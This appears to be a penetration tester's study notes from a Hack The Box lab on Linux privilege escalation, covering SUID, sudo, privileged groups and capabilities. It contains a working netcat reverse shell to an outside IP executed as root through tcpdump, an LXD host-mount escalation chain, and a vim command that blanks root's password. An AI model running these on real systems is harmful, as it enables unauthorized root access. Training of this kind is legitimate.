---
title: "8. Permissions-based Privilege Escalation"
date: 2025-01-25
draft: false
---

## Special permissions - setuid, setgid
`Set User ID Upon Execution` - SETUID 
- Permission allows user to exec program/script with perms of another user. Typically with elevated permissions. 
- `setuid` bit appears as an `s` 
```shell-session
stejwes@htb[/htb]$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

-rwsr-xr-x 1 root root 16728 Sep  1 19:06 /home/htb-student/shared_obj_hijack/payroll
```

May be possible to reveng a prog with suid bit set, identify a vulnerability, and exploit the vuln for priv esc. 
Many programs have add'tl features that can be levg'd to exec cmds - and - if suid bit is set, privesc. 

`Set-GroupID` (setgid) is similar, but with groups. 
```bash
find / -uid 0 -perm -6000 -type f 2>/dev/null
```

https://linuxconfig.org/how-to-use-special-permissions-the-setuid-setgid-and-sticky-bits

GTFOBins 
You know what this is. https://gtfobins.github.io/

## Sudo rights abuse

When sudo cmd is issued, system checks if user issuing the command is in /etc/sudoers file. 
Always check to see if current user has sudo privs with `sudo -l ` 
Often configured to give to omany permissions. For example, sudoers file grant user right to run command like `tcpdump` with nopasswd. 
Attacker can leverage this to take advantage of `postrotate-command` option. 
```shell-session
man tcpdump
<snip>

-z postrorate-command              

Used in conjunction with the -C or -G options, this will make `tcpdump` run " postrotate-command file " where the file is the savefile being closed after each rotation. For example, specifying -z gzip or -z bzip2 will compress each savefile using gzip or bzip2.
```

This is just one example. refer GTFObins 

Specifying `-z` flag, attacker can use `tcpdump` to execute a shell script and gain a revshell as root user or run priv commands. Attacker can create shell script `.test` containing a revshell and execute it as follows; 

```shell-session
cat /tmp/.test

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f
```

start netcat listener on attacking box and execute tcpdump with -z. 

```shell-session
sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
```


## Privileged Groups 

**LXC / LXD**
LXD is similar to docker and is ubuntu's container manager. Upon installation all users are added to the LXD group. 
Membership can be used to escalate privileges by creating an LXD container, making it privileged, then accessing host filesystem at /mnt/root. 

```shell-session
 id

uid=1009(devops) gid=1009(devops) groups=1009(devops),110(lxd)
```

```shell-session
unzip alpine.zip 

Archive:  alpine.zip
extracting: 64-bit Alpine/alpine.tar.gz  
inflating: 64-bit Alpine/alpine.tar.gz.root  
cd 64-bit\ Alpine/
```

Start LXD initialization process: https://www.digitalocean.com/community/tutorials/how-to-set-up-and-use-lxd-on-ubuntu-16-04
```shell-session
lxd init

Do you want to configure a new storage pool (yes/no) [default=yes]? yes
Name of the storage backend to use (dir or zfs) [default=dir]: dir
Would you like LXD to be available over the network (yes/no) [default=no]? no
Do you want to configure the LXD bridge (yes/no) [default=yes]? yes

/usr/sbin/dpkg-reconfigure must be run as root
error: Failed to configure the bridge
```

Import local image
```shell-session
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine

Generating a client certificate. This may take a minute...
If this is your first time using LXD, you should also run: sudo lxd init
To start your first container, try: lxc launch ubuntu:16.04

Image imported with fingerprint: be1ed370b16f6f3d63946d47eb57f8e04c77248c23f47a41831b5afff48f8d1b
```

Start privileged container with `security.privileged` set to `true` - run container without UID mapping, making root user in container the same as root user on host. 

```shell-session
lxc init alpine r00t -c security.privileged=true

Creating r00t
```

Mount host file system.
```shell-session
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true

Device mydev added to r00t
```

Spawn shell inside container instance. Browse the mounted host file system as root. 
IE: To access contents fo root directory on host type `cd /mnt/root/root` 
- Sensitive files like /etc/shadow accessible, or ssh keys, etc. 
```shell-session
devops@NIX02:~$ lxc start r00t
devops@NIX02:~/64-bit Alpine$ lxc exec r00t /bin/sh

~ # id
uid=0(root) gid=0(root)
~ # 
```

---
**Docker**
Placing user in docker group is essentially equivalent to root level access to filesystem without requiring a password. 
Members of docker group can spawn new docker containers. Example: 
```bash
docker run -v /root:/mnt -it ubuntu
```
- Create new docker instance with `/root` directory on host file system mounted as a volume. 
- Once container starts, able to browse mounted dir and retrieve/add ssh keys for root. Same with /etc and /etc/shadow etc. 

---
**Disk**
Users in disk group have full access to any devices contained within `/dev` such as `/dev/sda1` --- Typically the main device used by the operating system. Attackers with this privilege can use `debugfs` to access the entire file system with root level privileges. Similar to above, ssh keys, etcshadow, etc. 

---
**ADM**
Members of `adm` group are able to read all logs stored in `/var/log` - This doesn't directly grant root access, but could be leveraged to gather sensitive data stored in log files and enumerate user actions / running cron jobs. 

```shell-session
id

uid=1010(secaudit) gid=1010(secaudit) groups=1010(secaudit),4(adm)
```

---
## Linux Capabilities

Security feature in linux os that allows specific privileges to be granted to processes. 
- allows performing specific actions that would otherwise be restricted. 
- allows for more finegrained control over which processes have access to certain privileges - more secure than traditional unix model of granting privs to users+grps
	- although secure, not invulnerable
- common vuln: Using capabilities to grant privileges to processes that are not adequately sandboxed/isolated from other processes, allowing escalation of privs and gain access to sensitive info / perform unauth actions 
- Another potential vulnerability is the misuse or overuse of capabilities, which can result in processes having more privileges than they actually need. 

Capabilities can be a practical security feature but need to be used carefully and correctly to avoid vulnerabilities and potential exploits. 
Setting capabilities involves using appropriate tools and commands to assign specific capabilities to executables or programs. 
- In ubuntu, for example: 
	- `setcap` command to set capabilities for specific executables. Command allows us to specify capability we want to set and value assigned. 
	- For example: to set `cap_net_bind_service` capability for an executable: 
		- `sudo setcap cap_net_bind_service=+ep /usr/bin/vim.basic` 
- When caps are set for a binary it means the binary can perform specific actions it wouldnt be able to otherwise. 
	- In `cap_net_bind_service` cap example above, the binary will be able to bind to network ports - usually a restricted privilege. 
- Some capabilities like `cap_sys_admin` allows executable to perform actions with administrative privileges. Can be dangerous if used improperly. 

|**Capability**|**Description**|
|---|---|
|`cap_sys_admin`|Allows to perform actions with administrative privileges, such as modifying system files or changing system settings.|
|`cap_sys_chroot`|Allows to change the root directory for the current process, allowing it to access files and directories that would otherwise be inaccessible.|
|`cap_sys_ptrace`|Allows to attach to and debug other processes, potentially allowing it to gain access to sensitive information or modify the behavior of other processes.|
|`cap_sys_nice`|Allows to raise or lower the priority of processes, potentially allowing it to gain access to resources that would otherwise be restricted.|
|`cap_sys_time`|Allows to modify the system clock, potentially allowing it to manipulate timestamps or cause other processes to behave in unexpected ways.|
|`cap_sys_resource`|Allows to modify system resource limits, such as the maximum number of open file descriptors or the maximum amount of memory that can be allocated.|
|`cap_sys_module`|Allows to load and unload kernel modules, potentially allowing it to modify the operating system's behavior or gain access to sensitive information.|
|`cap_net_bind_service`|Allows to bind to network ports, potentially allowing it to gain access to sensitive information or perform unauthorized actions.|

```bash
When a binary is executed with capabilities, it can perform the actions that the capabilities allow. However, it will not be able to perform any actions not allowed by the capabilities. This allows for more fine-grained control over the binary's privileges and can help prevent security vulnerabilities and unauthorized access to sensitive information.
```

Example values set with setcap command: 

|**Capability Values**|**Description**|
|---|---|
|`=`|This value sets the specified capability for the executable, but does not grant any privileges. This can be useful if we want to clear a previously set capability for the executable.|
|`+ep`|This value grants the effective and permitted privileges for the specified capability to the executable. This allows the executable to perform the actions that the capability allows but does not allow it to perform any actions that are not allowed by the capability.|
|`+ei`|This value grants sufficient and inheritable privileges for the specified capability to the executable. This allows the executable to perform the actions that the capability allows and child processes spawned by the executable to inherit the capability and perform the same actions.|
|`+p`|This value grants the permitted privileges for the specified capability to the executable. This allows the executable to perform the actions that the capability allows but does not allow it to perform any actions that are not allowed by the capability. This can be useful if we want to grant the capability to the executable but prevent it from inheriting the capability or allowing child processes to inherit it.|

Several linux capabilities can be **used to escalate a user's privilege to root** including: 

| **Capability**     | **Desciption**                                                                                                                                                                                                               |
| ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `cap_setuid`       | Allows a process to set its effective user ID, which can be used to gain the privileges of another user, including the `root` user.                                                                                          |
| `cap_setgid`       | Allows to set its effective group ID, which can be used to gain the privileges of another group, including the `root` group.                                                                                                 |
| `cap_sys_admin`    | This capability provides a broad range of administrative privileges, including the ability to perform many actions reserved for the `root` user, such as modifying system settings and mounting and unmounting file systems. |
| `cap_dac_override` | Allows bypassing of file read, write, and execute permission checks.                                                                                                                                                         |

**Enumerating capabilities**

Capabilities should be used with caution and only granted to trusted processes. To enum existing caps for all existing binaries: 

```shell-session
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
```

`find` = search all binary executables, `-exec` = run getcap on each entry. 

**Example exploitation of capabilities**
```shell-session
stejwes@htb[/htb]$ getcap /usr/bin/vim.basic

/usr/bin/vim.basic cap_dac_override=eip
```

note: `Allows bypassing of file read, write, and execute permission checks.` 
- Since capability is set, even if we run `vim.basic` without special privs as basic user, it can escalate privs of user who runs it. 

```shell-session
stejwes@htb[/htb]$ cat /etc/passwd | head -n1

root:x:0:0:root:/root:/bin/bash
```

```shell-session
stejwes@htb[/htb]$ /usr/bin/vim.basic /etc/passwd
```

```shell-session
stejwes@htb[/htb]$ echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
stejwes@htb[/htb]$ cat /etc/passwd | head -n1

root::0:0:root:/root:/bin/bash
```

effectively removing `x` - meaning we can login to root without a password. 
